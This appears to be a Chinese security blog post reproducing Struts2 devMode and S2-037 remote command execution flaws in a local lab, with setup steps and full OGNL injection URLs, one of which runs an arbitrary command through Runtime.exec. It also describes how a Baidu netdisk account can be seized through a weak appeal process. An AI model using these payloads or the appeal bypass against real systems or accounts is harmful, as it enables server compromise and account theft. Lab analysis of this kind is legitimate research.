Struts devMode 远程命令执行漏洞分析

今天在知道创宇看到一个最新的struts漏洞,当时就震惊了(毕竟我当初也是java入门的)然后我朋友说在tools看到了利用工具,于是乎下载开始分析漏洞的来源,本地付现漏洞(不知道怎么付现的看我上一篇文章:http://m7lrv.com/?p=428

从标题可以看出这个漏洞是触发在devMode上的,那么什么是devMode,看下面的百度

struts2-2

从百度可以大概知道这是一个开发者模式的开关,于是我本地搭建了一个struts的环境(2.5的版本,其他版本没有测试)在不开启devMode模式下测试效果如下:

struts2-1

struts2-3

很明显没有检测出漏洞,于是我把devMode开启,再次检测

 

struts2-4

struts2-6

struts2-5

漏洞触发了,那么很明显这个漏洞是触发在devMode开启的模式下

漏洞触发exp(我修改了过了原版的是直接执行远程命令我这里把命令执行去掉了):

http://127.0.0.1:8080/struts2-showcase/index.action?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(%22this%20is%20print%20test%22)):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789

最后总结这个漏洞的威力:

1:触发条件devMode开启才行(这个模式大多数下不会有特别多的人去开启,不过有些公司还是开启了我自己开发的网站是从来没有开启过的)

2:漏洞直接是在拦截器上触发的,也就是说利用方式和struts2 -032的利用方式相同(GET/POST提交都会触发到漏洞)

3:只要网站开启了devMode模式那么有很大的几率中招所以危害还是很大的

个人修补建议(非官网不是很有准确性):

关闭devMode模式(因为我测试关闭了就无法触发到了,不过我没有深入研究可能不是特别准确)

Struts2 037远程命令执行漏洞初步分析

昨晚在群里有人说struts2又出新漏洞了,当晚乌云就刷了起来,今天过来本地复现了一下,在这里说一下自己的分析结果(如果觉得我说错了还请指出)

struts2介绍就不介绍了,个人感觉作为一个框架struts2是非常牛逼的,虽然现在出了很多安全问题

本地复现条件:

java JDK 1.7

Tomcat 7.0(如果你实在懒得去下载我也给你提供一个地址吧,专为懒人提供:http://tomcat.apache.org/download-70.cgi)根据你电脑位数下载对应的程序就好了(32-bit Windows zip (pgp, md5, sha1)这种的才是下载地址,tomcat不需要安装解压就能用)

环境:windows 2003(本机有问题只能在虚拟机里面跑了)

poc案例:官网下载的(有人说官网不提供案例,其实只是你没找到而已),这里我本地提供一个案例下载地址:struts2-rest-showcase

struts2_8

部署步骤:(也是为懒人提供,如果你不会部署那么还怎么研究这个exp?)

第一步:安装javajdk(不会的百度)

第二步:下载tomcat,随便解压到一个文件夹里面(最好不要带中文,如果发现tomcat一闪而过那么你需要配置一下tomcat的环境变量,具体的配置百度一下就几句话)

第三步:下载poc案例放到tomcat的apps文件夹里面(不懂看下面的图片)

struts2_

 

 

 

 

 

 

 

第四步:启动tomcat(看图说明,配置也不需要你改默认端口是8080)

struts2_2

 

 

 

 

 

 

 

 

第五步:等待tomcat启动大概需要5  6秒的样子吧,然后访问地址 http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml

这个地址的意思是:本地ip:端口/项目的名称/项目文件的路径

struts2_3

 

 

 

 

 

 

这里看这个demo的源码就能看的出来利用点在哪里

struts2_6

struts2_7

然后poc就搭建好了,接下来就是测试exp,exp乌云很多地方都有我这里提供两枚

第一个:(pkav的作者提供的,使用的时候访问结果是404,但是会触发漏洞)

http://127.0.0.1:8080/struts2-rest-showcase/orders/3/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3f@java.lang.Runtime@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc

效果图如下:

struts2_4

第二个:

来源git的一个py程序(访问不会出现404,返回结果直接显示在页面上)

http://127.0.0.1:8080/struts2-rest- showcase/orders/3/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3F((%23writ%3D(%23attr%5B%23parameters.com%5B0%5D%5D).getWriter())%2C%23writ.println(3345*2356))%3Aindex.xhtml?com=com.opensymphony.xwork2.dispatcher.HttpServletResponse

效果图如下:

struts2_5

最后分析一下利用方式:归根到底这个漏洞触发是在method的拦截上面的那么利用条件:

1:启用动态调用方法为true

2:网站里面必须使用/xxx/Mthod这种方式调用方法  method就是具体要执行的方法(不懂的可以看看这个大牛的文章:http://zone.wooyun.org/content/27865,里面也说的挺清楚的)

3:利用条件你得知道这个method的名称(或者说在哪里调用了你得知道)

所有总的来说这个漏洞威力是挺大的,但是利用起来可能没有 016,019那么方便,那两个漏洞是直接触发在拦截器上面的,所以只要访问就能触发

转载请注名来源(本文原创)

 

关于网盘链接失效问题

近期由于百度网盘的安全做的太垃圾了导致我的百度网盘账号被人申诉(也就是传说中的被盗了)导致部分源码和工具泄露,即时找回后我把网盘全部资料全部删除了

所以下载链接暂时全部失效。(后期我会全部重新生成文件上传供大家下载,预计整理时间是5月到6月,到时候我会通知的)

对于那些不能下载到软件的人说声抱歉。

 

附带百度网盘申诉过程说明:

1:忘记密码后进入申诉页面,第一步填写手机和邮箱(这里就是坑爹的地方了,随便写个邮箱和手机,然后输入验证就能进入下一步申诉)

2:进入申诉页面后只需要填写绑定邮箱和常用登陆地,以及历史密码就能找回(绑定邮箱这些对于对这个账号有了解的人一猜就能猜到,常用登陆地,问问那个人哪里人就能知道了,历史密码:谁没有一个弱口令的历史密码啊?这里也是很坑爹的地方,)

3:综上所述申诉有难度吗?

 

最后附带一句,百度网盘的安全性太他妈垃圾了,劝大家慎用!!!!

2016-05-29:修复百度网盘下载地址:http://pan.baidu.com/s/1qXDNjru(具体文件尚未修复,修复了会发布通知,所以不要问我什么时候可以下载,更新会通知的!)

By:m7lrv

关于3.0(包括其他的扫描器速度慢,耗内存)说明

1:我们举个实际点的例子,假设现在有1000个网站,需要扫描的指纹是500个,线程数量是30,假设都要扫描完毕那么一共需要访问网页多少次?如果扫描更多的网站自己计算一下数量

答:50万次(就好比你的电脑在一秒内一口气访问30个网页,并且保持不变),那么请问你的内存不消耗吗?cpu不高?所有的扫描器大概都是这么个原理,要么吃内存,要么吃cpu。

2:关于皮肤加载卡

答:我的程序的皮肤和所谓的传统“皮肤”不是一回事,所有的效果全部是代码画出来的,只不过画的人不是我而已,懂代码的人就知道这是代码画出来的,我只是继承这个皮肤提供的窗体,不是说想加载就加载不想加载就不加载(至少我现在还没找到解决问题)